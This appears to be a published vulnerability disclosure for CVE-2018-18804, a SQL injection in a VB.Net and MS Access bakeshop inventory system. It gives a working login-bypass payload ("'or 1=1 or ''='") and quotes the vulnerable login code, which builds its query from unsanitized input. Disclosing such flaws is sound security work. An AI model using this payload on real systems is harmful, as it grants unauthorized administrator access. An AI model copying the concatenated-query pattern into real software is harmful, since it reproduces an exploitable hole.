Bakeshop Inventory System in VB.Net and MS Access Database version 1.0 suffers from a remote SQL injection vulnerability.
8b63c0e2fb10a6b566d85a54c78d9a36# Exploit Title: Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bakeshopinventory1.0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18804
# POC:
# 1)
# User: 'or 1=1 or ''='
# Pass: 'or 1=1 or ''='
#
# https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvcxZhOJbyPhDaHES_nBIhZjhtsVRfiuBrLPg_rZvdD0UTCKuWHmq31oOn0WsiGtDp8Qi2uDmYLPP0uHnP7bsoAGtkuIfg4-eIsX8ZuCZ-9TKDsOV6YRQjyvT7zFLLcPOHaTVqI_buAg8/s1600/sql4.png
#
#[PATH]/include/publicfunction.vb
#....
#237 Public Sub LoginUser(ByVal userid As Object, ByVal pass As Object)
#238 Try
#239 con.Open()
#240
#241 cmd = New OleDb.OleDbCommand
#242 With cmd
#243 .Connection = con
#244 .CommandText = "SELECT * FROM tblUser WHERE U_UNAME ='" & userid.Text & "' AND U_PASS = '" & pass.Text & "'"
#245 End With
#246
#247 da = New OleDb.OleDbDataAdapter
#248 da.SelectCommand = cmd
#249 dt = New DataTable
#250 da.Fill(dt)
#251
#252 If dt.Rows.Count > 0 Then
#253
#254 If dt.Rows(0).Item("U_TYPE") = "Administrator" Then
#255
#256 MsgBox("You login as administrator!!")
#257
#258 ShowForm(LoginForm1, Form1)
#259
#260
#261 LoginForm1.Hide()
#262 ElseIf dt.Rows(0).Item("U_TYPE") = "Staff" Then
#263
#264 MsgBox("You login as Staff!!")
#265
#266 With Form1
#267 '.ManageUsersToolStripMenuItem.Visible = False
#268
#269 End With
#270
#271 ShowForm(LoginForm1, Form1)
#272
#273
#274 LoginForm1.Hide()
#275 End If
#276
#277 Else
#278 MsgBox("Account does not exists.", MsgBoxStyle.Exclamation)
#279 End If
#280
#281 Catch ex As Exception
#282
#283 MsgBox(ex.Message)
#284 Finally
#285 con.Close()
#286 da.Dispose()
#287 End Try
#288 End Sub
#....